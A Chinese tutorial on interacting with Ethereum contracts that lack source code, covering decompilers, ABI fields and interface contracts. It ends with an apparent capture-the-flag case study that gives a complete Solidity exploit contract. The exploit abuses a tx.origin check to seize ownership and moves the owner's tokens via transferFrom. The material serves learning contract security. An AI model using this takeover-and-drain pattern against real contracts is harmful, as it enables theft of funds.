如何与无源码的智能合约交互
字数 1641 2025-08-22 12:22:43
与无源码智能合约交互的完整指南
前言
本指南详细讲解如何与没有源代码的以太坊智能合约进行交互,包括环境配置、反编译分析、虚合约编写和实战攻击链构造等关键内容。
环境配置
必要工具
- Remix IDE:在线Solidity开发环境 http://remix.ethereum.org/
- MetaMask钱包:浏览器扩展钱包
- 推荐浏览器:Chrome(火狐浏览器可能存在Solidity编译器兼容性问题)
基础示例分析
简单合约示例
pragma solidity ^0.4.18;
contract Instance {
uint256 public paswd;
function set(uint256 _parm) public {
paswd = _parm;
}
function look() public returns (uint256) {
return paswd;
}
}
反编译工具
- Contract Library:https://contract-library.com/
- EtherVM:https://ethervm.io/decompile(提供更底层的反编译)
ABI解析
ABI(Application Binary Interface)是描述合约接口的JSON文件,关键字段:
| 字段 | 类型 | 含义 |
|---|---|---|
| constant | bool | 是否为常量函数 |
| inputs | json | 输入参数类型 |
| outputs | json | 输出参数类型 |
| payable | bool | 是否可接收ETH |
| stateMutability | str | 函数状态可变性 |
重要概念
- 交易(Transaction):所有需要写入链上的操作
- 状态变量:永久存储在合约中的值
- 函数标志:
view:只读函数,不消耗gaspure:既不读取也不修改状态payable:可接收ETH
虚合约技术
虚合约编写方法
- 通过ABI逆向出函数声明
- 在Remix中部署到原合约地址
- 通过Remix接口直接调用函数
跨合约调用示例
pragma solidity ^0.4.18;
contract Contract {
// 虚合约声明
function paswd() view returns (uint256);
function set(uint256 _parm);
function look() returns (uint256);
}
contract Exploit {
Contract instance;
function Exploit() {
address _parm = 0xf78482dfe10B3c7aBBE79Dfda0859b0Eb3864BbD;
instance = Contract(_parm);
}
function set(uint256 _parm) {
instance.set(_parm);
}
function look() view returns (uint256) {
return instance.look();
}
}
实战案例分析
合约功能逆向
通过反编译得到以下关键函数:
- approve(address,uint256):设置allowance
- allowance(address,address):查询allowance
- owner():返回合约所有者
- changeOwner(address):修改合约所有者
- balanceOf(address):查询余额
- transferFrom(address,address,uint256):转账
- payforflag(string):目标函数
攻击链构造步骤
-
修改合约所有者
- 通过攻击合约调用changeOwner
- 要求:
tx.origin != msg.sender
-
转账操作
- 调用transferFrom从原所有者向攻击合约转账10000
- 需要满足的条件:
msg.value == 0varg1 != 0_transferFrom[address(varg0)][0] >= varg2varg2 > 0
-
调用payforflag
- 需要满足:
msg.value == 0balanceOf(msg.sender) >= 10000owner == msg.sender
- 需要满足:
完整攻击合约
pragma solidity ^0.4.18;
contract Instance {
function transferFrom(address,address,uint256) public payable returns(bool);
function balanceOf(address) public payable returns(uint256);
function payforflag(string) payable public;
function owner() public view returns(address);
function changeOwner(address) public;
function allowance(address,address) view public returns(uint256);
function approve(address,uint256) public returns(bool);
function totalSupply() view public returns(uint256);
}
contract Exploit {
Instance instance;
address _adr = 0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058;
address public Bank_adr;
function Exploit() {
instance = Instance(_adr);
Bank_adr = instance.owner();
}
function changeOwner() public {
instance.changeOwner(this);
}
function transferFrom() public payable {
instance.transferFrom(Bank_adr, this, 10000);
}
function payforflag() payable public {
instance.payforflag("Y3dtankxMzE0QDEyNi5jb20="); // base64编码的邮箱
}
}
关键技巧与注意事项
- 反编译差异:不同反编译工具结果可能不同,建议交叉验证
- 存储布局:理解合约的存储布局对逆向至关重要
- 函数可见性:注意public/external等可见性修饰符的影响
- 错误处理:合约调用失败时要检查所有require条件
- gas估算:复杂操作需要合理估算gas limit
参考资源
- Solidity官方文档:https://solidity-cn.readthedocs.io/
- 在线反编译工具:
- 在线合约交互:https://www.mycrypto.com/
通过本指南,您应该能够掌握与无源码智能合约交互的核心技术,包括反编译分析、虚合约编写和复杂攻击链构造等方法。